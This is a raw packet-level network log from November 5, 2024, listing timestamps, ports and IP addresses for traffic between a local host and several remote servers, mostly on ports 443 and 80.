Nov 5, 2024 10:13:50.831481934 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:50.831852913 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.831914902 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:50.832010984 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.832026005 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.832034111 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:50.865788937 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.865818024 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.865909100 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.865919113 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.866017103 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.866561890 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.866594076 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.866635084 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.866640091 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.866676092 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.866708994 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.867026091 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.867039919 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.873635054 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.874222040 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.874234915 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.874958038 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.874963999 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.879606962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.879632950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.879650116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.879666090 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.879674911 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.879678965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.879688978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.879694939 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.879730940 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.879992008 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880002975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880012989 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880033970 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.880065918 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.880281925 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880321980 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.880326033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880337000 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880373001 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.880651951 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880662918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880671978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.880707026 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.880734921 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.888025999 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.888376951 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.888406038 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.888891935 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.888896942 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.908632040 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.909013987 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.909040928 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.909754038 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.909759045 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.914055109 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.914335012 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.914359093 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.914726973 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.914733887 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.914932966 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.915045977 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.915117025 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.915282965 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.915299892 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.915436983 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.915442944 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.918494940 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.918521881 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.918625116 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.918922901 CET	49976	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.918936014 CET	443	49976	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.921983957 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.922056913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.922071934 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.922101974 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.922106028 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.922113895 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.922126055 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.922127008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.922137976 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.922167063 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.944087029 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.944127083 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.944235086 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.947015047 CET	49977	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.947035074 CET	443	49977	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.997298956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997313976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997323990 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997385979 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997421026 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997441053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997452974 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997467995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997487068 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997510910 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997561932 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997572899 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997585058 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997596025 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997601986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997616053 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997628927 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997776031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997786045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997797012 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.997822046 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.997848034 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.012032032 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.012290955 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.012362957 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.014873028 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.014888048 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.014899969 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.014904976 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.018496037 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.018526077 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.018765926 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.019318104 CET	49978	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.019328117 CET	443	49978	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.027177095 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.027204037 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.027246952 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.027256966 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.027293921 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.027631998 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.027657032 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.027667999 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.027673006 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.029750109 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.029792070 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.029923916 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.030091047 CET	49979	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.030105114 CET	443	49979	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.039535046 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.039547920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.039588928 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.039608002 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.039684057 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.039695978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.039706945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.039717913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.039727926 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.039753914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.040355921 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.040419102 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.040641069 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.040694952 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.052112103 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.052177906 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.052300930 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.052660942 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.052916050 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.052928925 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.053117037 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.053158998 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.053169012 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.053217888 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.053438902 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.053451061 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.053459883 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.053464890 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.057925940 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.057965994 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.058037043 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.060403109 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.060422897 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.060529947 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.060710907 CET	49981	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.060724974 CET	443	49981	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.060976028 CET	49980	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:51.060990095 CET	443	49980	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:51.109853983 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109879017 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109888077 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109910965 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109920025 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109930038 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109932899 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.109946012 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.109952927 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109962940 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.109981060 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.109994888 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.115256071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115279913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115305901 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115317106 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115323067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115339041 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115360022 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115371943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115374088 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115389109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115398884 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115406036 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115417004 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115425110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115447998 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.115569115 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115581036 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.115617990 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.116230965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.116242886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.116251945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.116280079 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.116309881 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.169277906 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.169294119 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.169306040 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.169336081 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.169352055 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.170777082 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.170789003 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.170805931 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.170814991 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.170842886 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.170875072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.205853939 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.206080914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.208075047 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.208127975 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.226228952 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.226253986 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.226294994 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.226315022 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.226335049 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.226358891 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.232860088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.232883930 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.232903004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.232903957 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.232920885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.232928991 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.232933044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.232944965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.232954025 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.232970953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233120918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233143091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233181953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233208895 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233247995 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233421087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233431101 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233468056 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233509064 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233517885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233542919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233555079 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233624935 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233685017 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233695984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.233697891 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233716965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.233727932 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.252623081 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.252662897 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.252805948 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.252834082 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.252849102 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.252877951 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.252995968 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253004074 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.253098965 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253257036 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253264904 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.253319979 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253581047 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253587008 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.253684044 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253859997 CET	49983	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253870010 CET	443	49983	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.253983974 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.253998995 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.254097939 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.254107952 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.254204988 CET	49985	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.254215956 CET	443	49985	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.254307985 CET	49986	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:51.254318953 CET	443	49986	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:51.286325932 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.286355972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.286367893 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.286381006 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.286392927 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.286403894 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.286425114 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.286458969 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.291270971 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.291290045 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.291333914 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.291342020 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.291364908 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.291387081 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.300288916 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.300312996 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.300354958 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.300359011 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.300374985 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.300401926 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.302649975 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.302664042 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.302695990 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.302792072 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.302823067 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:51.302862883 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:51.322772026 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.322849989 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.323061943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.323072910 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.323115110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.349884033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.349910021 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.349921942 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.349944115 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.349951982 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.349963903 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.349968910 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.350007057 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.350984097 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351017952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351031065 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351061106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351066113 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.351073027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351085901 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351099014 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.351114035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.351438999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351449013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:51.351495981 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:51.367264986 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.367289066 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:51.367336988 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:51.367348909 CET	443	49974	13.91.96.185	192.168.2.5
